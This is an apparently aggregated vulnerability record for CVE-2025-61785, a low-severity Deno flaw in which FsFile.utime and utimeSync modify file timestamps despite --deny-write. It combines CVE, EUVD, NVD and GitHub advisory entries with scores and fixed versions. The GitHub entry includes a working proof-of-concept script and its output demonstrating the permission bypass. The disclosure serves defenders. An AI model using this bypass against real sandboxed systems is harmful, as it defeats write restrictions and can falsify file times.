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Deno's --deny-write check does not prevent permission bypass

Collected exploitation and prediction evidence

Risk source coverage

CISA KEV is observed exploitation evidence. FIRST EPSS is a dated prediction of exploitation in the next 30 days. Missing scores are unknown. This collector requests predictions only for explicit CVE aliases in the public NuGet archive; Microsoft release views retain their existing prediction scope.

No collected risk observation for these identifiers. This does not establish absence of exploitation or a zero probability.

cve-program · CVE-2025-61785

Published

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`. It's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`). Similar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

Source published
8 Oct 2025 00:37:01 UTC
Source modified
8 Oct 2025 18:59:12 UTC
Observed here
23 Oct 2026 15:48:27 UTC
Source terms
CVE Program Terms of Use

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: cve-program · CVE Program Terms of Use. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.0 · 3.3 CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

euvd · EUVD-2025-31878

Published

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`. It's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`). Similar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON.

Original publisher date fields

datePublished: Oct 8, 2025, 12:37:01 AM

dateUpdated: Oct 8, 2025, 6:59:12 PM

Source published
Oct 8, 2025, 12:37:01 AM (timezone not stated)
Source modified
Oct 8, 2025, 6:59:12 PM (timezone not stated)
Observed here
11 Nov 2026 04:29:43 UTC
Source terms
ENISA EUVD · source terms and attribution apply

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: euvd · ENISA EUVD · source terms and attribution apply. Source text is retained; field grouping and change labels are provided by ChangeIntel.

EUVD CVSS 3.0 · 3.3 CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

nvd · CVE-2025-61785

Published

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`. It's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`). Similar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON.

Source analysis status: Analyzed

Weakness classifications: CWE-266

Original publisher date fields

published: 2025-10-08T01:15:32.847

lastModified: 2026-10-08T13:10:00.200

1 source CPE criteria · context only
  • cpe:2.3:a:deno:deno:*:*:*:*:*:*:*:*

The original JSON retains the logical configuration operators, exclusions and version bounds.

Source published
8 Oct 2025 01:15:32 UTC
Source modified
8 Oct 2026 13:10:00 UTC
Observed here
25 Oct 2026 03:17:27 UTC
Source terms
NIST NVD usage terms; underlying source attribution retained

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: nvd · NIST NVD usage terms; underlying source attribution retained. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS 3.1 · [email protected] · Primary · 3.3 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

CVSS 3.0 · [email protected] · Secondary · 3.3 CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

osv · GHSA-vg2r-rmgp-cgqj

Published

### Summary `Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`. It's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`). Similar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model. ### PoC Setup: ``` deno --version deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu) v8 13.7.152.14-rusty typescript 5.8.3 touch test.txt ``` ```js // touch test.txt // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1 async function poc1(){ using file = await Deno.open("./test.txt", { read: true, write: false}); const fileInfoBefore = await file.stat(); await file.utime(new Date("2000-01-01"), new Date("2000-01-01")); const fileInfoAfter = await file.stat(); console.log(`BEFORE (utime)`) console.log(new Date(fileInfoBefore.mtime).getFullYear()) console.log(new Date(fileInfoBefore.atime).getFullYear()) console.log(`AFTER (utime)`) console.log(new Date(fileInfoAfter.mtime).getFullYear()) console.log(new Date(fileInfoAfter.atime).getFullYear()) } // https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2 function poc2(){ using file = Deno.openSync("./test.txt", { read: true, write: false}); const fileInfoBefore = file.statSync(); file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01")); const fileInfoAfter = file.statSync(); console.log(`BEFORE (utimeSync)`) console.log(new Date(fileInfoBefore.mtime).getFullYear()) console.log(new Date(fileInfoBefore.atime).getFullYear()) console.log(`AFTER (utimeSync)`) console.log(new Date(fileInfoAfter.mtime).getFullYear()) console.log(new Date(fileInfoAfter.atime).getFullYear()) } // https://docs.deno.com/api/deno/~/Deno.utime // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3 async function poc3(){ // not executed await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); } // https://docs.deno.com/api/deno/~/Deno.utimeSync // deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4 function poc4(){ // not executed Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); } async function main(){ const poc = Deno.args[0] || 1; const status = await Deno.permissions.query({ name: "write", path: "./" }); console.log(status); switch (poc) { case "1": poc1() break; case "2": poc2() break; case "3": poc3() break; case "4": poc4() break; default: poc1() } } main() ``` Output: - `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1` ``` PermissionStatus { state: "denied", onchange: null } BEFORE (utime) 2025 2025 AFTER (utime) 2000 2000 ``` - `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2` ``` PermissionStatus { state: "denied", onchange: null } BEFORE (utimeSync) 2000 2000 AFTER (utimeSync) 2001 2001 ``` - `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3` ``` PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); ^ ... ``` - `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4` ``` PermissionStatus { state: "denied", onchange: null } error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01")); ^ ... ``` ### Impact Permission model bypass

Source published
7 Oct 2025 22:36:36 UTC
Source modified
13 Oct 2025 15:17:42 UTC
Observed here
24 Oct 2026 13:19:54 UTC
Source terms
GitHub Advisory Database · CC-BY-4.0

Original source record · Cite this exact observation · Complete original publisher JSON

This view projects the publisher's source fields for reading; the original JSON retains additional fields and CVE enrichment containers. Attribution: osv · GitHub Advisory Database · CC-BY-4.0. Source text is retained; field grouping and change labels are provided by ChangeIntel.

CVSS_V3 · CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Publisher rating · LOW

ChangeIntel

An IT change radar: releases, security, known issues, retirements, documentation changes, and service status from public sources. Every item links to supporting evidence; dates and statuses can change after they are read.

Sources read 11 Nov 08:56 UTC · 275 of 275 readable · 274 fully read · documentation 469/469 current